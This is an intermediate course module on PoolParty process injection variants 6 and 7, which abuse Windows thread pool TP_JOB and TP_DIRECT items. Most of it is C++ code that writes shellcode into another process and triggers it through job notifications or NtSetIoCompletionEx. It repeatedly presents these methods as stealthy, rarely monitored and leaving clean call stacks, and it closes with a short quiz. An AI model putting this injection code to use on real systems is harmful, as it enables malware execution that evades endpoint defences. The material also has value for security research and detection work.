Difficulty: Intermediate

Module 6: Job & Direct Variants

PoolParty Variants 6–7: TP_JOB insertion for job notification callback triggering and TP_DIRECT fast-path insertion via NtSetIoCompletionEx.

Module Objective

Understand how PoolParty Variant 6 exploits Windows Job Objects bound to the thread pool by inserting a TP_JOB item that triggers a callback when a job notification arrives, and how Variant 7 uses the TP_DIRECT fast-path mechanism to achieve the most streamlined code execution via NtSetIoCompletionEx.

1. Job Objects and the Thread Pool

Windows Job Objects are kernel objects used to manage groups of processes. A job object can be associated with the thread pool so that job notifications (such as process creation, process exit, or resource limit violations within the job) are dispatched as callbacks on worker threads.

ComponentDescription
Job ObjectKernel object that groups processes for management and resource control
TP_JOBThread pool structure binding a job object to a callback
Job NotificationsEvents like process creation/exit within the job that trigger callbacks
IOCP BindingJob notifications are delivered via the pool’s IOCP, same as all other callback types

1.1 How Job Objects Bind to the Thread Pool

When a process associates a job object with its thread pool, the job object is linked to the pool’s IOCP via SetInformationJobObject with the JobObjectAssociateCompletionPortInformation class. Job events then post completion packets to the IOCP, and the worker threads dispatch the TP_JOB callback.

C++ (Internal Mechanism)// Job object association with thread pool IOCP
typedef struct _JOBOBJECT_ASSOCIATE_COMPLETION_PORT {
    PVOID  CompletionKey;    // Encodes the TP_JOB pointer
    HANDLE CompletionPort;   // The pool's IOCP
} JOBOBJECT_ASSOCIATE_COMPLETION_PORT;

// When a job notification occurs (process exit, limit violation, etc.),
// the kernel posts a completion packet to the IOCP:
// CompletionKey = TP_JOB pointer
// The worker thread dispatches the TP_JOB callback

2. Variant 6: TP_JOB Insertion

Variant 6 inserts a crafted TP_JOB structure into the target process, associating it with a job object whose notifications will be delivered to the pool’s IOCP. When a job notification fires, the callback — now pointing to shellcode — executes on a worker thread.

Variant 6 Attack Flow

Write shellcode
+ craft TP_JOB
Associate job
with pool IOCP
Trigger notification
Job event fires
Callback fires
Shellcode runs

2.1 Implementation

C++// Variant 6: TP_JOB Insertion

// Step 1: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Craft a TP_JOB structure in the target process
// The callback points to our shellcode
TP_JOB fakeJob = { 0 };
fakeJob.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeJob.Task.Context = NULL;
fakeJob.Pool = (PTP_POOL)targetPoolPtr;

LPVOID remoteJob = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteJob, &fakeJob,
                   sizeof(TP_JOB), NULL);

// Step 3: Associate the job object with the target's IOCP
// using the TP_JOB pointer as the CompletionKey
JOBOBJECT_ASSOCIATE_COMPLETION_PORT jobAssoc;
jobAssoc.CompletionKey = (PVOID)remoteJob;
jobAssoc.CompletionPort = targetIocpHandle;

SetInformationJobObject(hJob,
    JobObjectAssociateCompletionPortInformation,
    &jobAssoc, sizeof(jobAssoc));

// Step 4: Trigger a job notification
// Assigning a process to the job or causing a job event
// will post a completion packet to the IOCP
AssignProcessToJobObject(hJob, hTargetProcess);

// The job notification causes the kernel to post a
// completion packet to the pool's IOCP with our TP_JOB
// as the CompletionKey, triggering our shellcode callback

Variant 6 Requirements

Variant 6 requires the ability to create or access a job object and associate it with the target process’s IOCP. Not all processes are already part of a job, but the attacker can create a new job object and associate it with the pool’s IOCP using a duplicated handle, then trigger a notification event.

3. What Is TP_DIRECT?

In addition to the standard callback types (TP_WORK, TP_WAIT, TP_IO, TP_ALPC, TP_JOB), the Windows thread pool has an internal fast-path mechanism called TP_DIRECT. Unlike the other types, TP_DIRECT items bypass the standard task queue and are dispatched directly from the I/O completion packet.

Why TP_DIRECT Matters

TP_DIRECT is the simplest possible callback structure in the thread pool. It requires only a callback function pointer and is dispatched immediately when the corresponding IOCP packet arrives. There is no queue manipulation, no list insertion, no timer management — just a function pointer that gets called. This makes it the ideal injection target.

3.1 TP_DIRECT Structure

C++ (Reconstructed)// TP_DIRECT - minimal callback structure
struct TP_DIRECT {
    PTP_SIMPLE_CALLBACK Callback;  // Function pointer to execute
    // Embedded in the completion packet's overlapped field
    // No pool linkage, no queue, no complex metadata
};

// The callback signature for TP_DIRECT:
typedef VOID (CALLBACK *PTP_SIMPLE_CALLBACK)(
    PTP_CALLBACK_INSTANCE Instance,
    PVOID                 Context
);

3.2 TP_DIRECT Dispatch in TppWorkerThread

C++ (Pseudocode)// Inside TppWorkerThread main loop (simplified)
VOID TppWorkerThread(PTP_POOL Pool)
{
    while (TRUE)
    {
        ULONG_PTR completionKey;
        PVOID     overlapped;
        IO_STATUS_BLOCK iosb;

        NtRemoveIoCompletion(Pool->CompletionPort,
            &completionKey, &overlapped, &iosb, NULL);

        // Check if this is a TP_DIRECT item
        if (IsDirectItem(completionKey, overlapped))
        {
            // Fast path: call the TP_DIRECT callback directly
            PTP_DIRECT direct = (PTP_DIRECT)overlapped;
            TppDirectpExecuteCallback(direct);
        }
        else
        {
            // Standard path: decode and dispatch through task queue
            TppWorkpExecuteCallback(...);
        }
    }
}

4. Variant 7: TP_DIRECT Insertion

Variant 7 is one of the most streamlined PoolParty variants. The attack flow is minimal:

Variant 7 Attack Flow

Write shellcode
VirtualAllocEx
Craft TP_DIRECT
Callback = shellcode
Post to IOCP
NtSetIoCompletionEx
Shellcode fires
Direct dispatch

4.1 Full Implementation

C++// Variant 7: TP_DIRECT Insertion - Complete Implementation

// Step 1: Open target process
HANDLE hProcess = OpenProcess(
    PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
    PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
    FALSE, targetPid);

// Step 2: Locate the target's thread pool IOCP
HANDLE targetIocp = FindThreadPoolIocp(hProcess, targetPid);

// Step 3: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 4: Craft a TP_DIRECT structure in target memory
TP_DIRECT directItem = { 0 };
directItem.Callback = (PTP_SIMPLE_CALLBACK)remoteShellcode;

LPVOID remoteDirect = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteDirect, &directItem,
                   sizeof(TP_DIRECT), NULL);

// Step 5: Duplicate the IOCP handle
HANDLE localIocp;
DuplicateHandle(hProcess, targetIocp,
                GetCurrentProcess(), &localIocp,
                0, FALSE, DUPLICATE_SAME_ACCESS);

// Step 6: Post the TP_DIRECT to the IOCP
NtSetIoCompletionEx(
    localIocp,                // Target's IOCP (duplicated)
    localIocp,                // Reservation port (same IOCP)
    (PVOID)remoteDirect,      // ApcContext = TP_DIRECT in target
    STATUS_SUCCESS,
    0,
    FALSE
);

// Worker thread wakes, identifies TP_DIRECT marker,
// calls directItem.Callback = our shellcode
// Clean call stack through TppDirectpExecuteCallback

4.2 NtSetIoCompletionEx vs NtSetIoCompletion

FeatureNtSetIoCompletionNtSetIoCompletionEx
Basic postingYesYes
Reservation supportNoYes — guarantees packet delivery
Used byGeneral IOCP postingThread pool internal TP_DIRECT path
MonitoringRarely monitoredEven more rarely monitored

Why Variant 7 Is Particularly Elegant

5. Comparison: Variants 6 and 7

PropertyVariant 6 (TP_JOB)Variant 7 (TP_DIRECT)
TriggerJob notification eventPost IOCP completion packet
Key APISetInformationJobObjectNtSetIoCompletionEx
PrerequisiteJob object + IOCP handleIOCP handle only
Structure complexityTP_JOB with job associationMinimal — single function pointer
ApplicabilityAny process with a thread poolAny process with a thread pool
Dispatch pathJob notification → IOCP → workerDirect IOCP fast-path → worker
StealthJob notifications are legitimate OS operationsNtSetIoCompletionEx is rarely monitored

6. Call Stack Analysis

When Variant 7’s shellcode executes, the call stack traces back through the legitimate TP_DIRECT dispatch path:

Call Stackshellcode+0x0                           ; Our injected code
ntdll!TppDirectpExecuteCallback+0x50    ; TP_DIRECT dispatch
ntdll!TppWorkerThread+0x3a2             ; Worker main loop
kernel32!BaseThreadInitThunk+0x14       ; Thread start
ntdll!RtlUserThreadStart+0x21          ; Thread entry

Every frame in this stack is a legitimate system function. There is no CreateRemoteThread, no QueueUserAPC, no SetThreadContext — just standard thread pool infrastructure executing what it believes is a normal TP_DIRECT callback.

Knowledge Check

Q1: What mechanism does Variant 6 (TP_JOB) use to trigger callback execution?

A) Creating a remote thread
B) Signaling an event object
C) Job object notifications posted to the pool's IOCP
D) Sending an ALPC message

Q2: What makes TP_DIRECT different from TP_WORK, TP_TIMER, and other thread pool types?

A) It runs in kernel mode
B) It bypasses the task queue and is dispatched directly from the IOCP completion packet
C) It requires administrator privileges
D) It can only execute signed code

Q3: What is the role of NtSetIoCompletionEx in Variant 7?

A) It creates a new IOCP in the target process
B) It modifies the worker factory StartRoutine
C) It posts the TP_DIRECT completion packet to the target's IOCP, triggering callback dispatch
D) It signals an event object in the target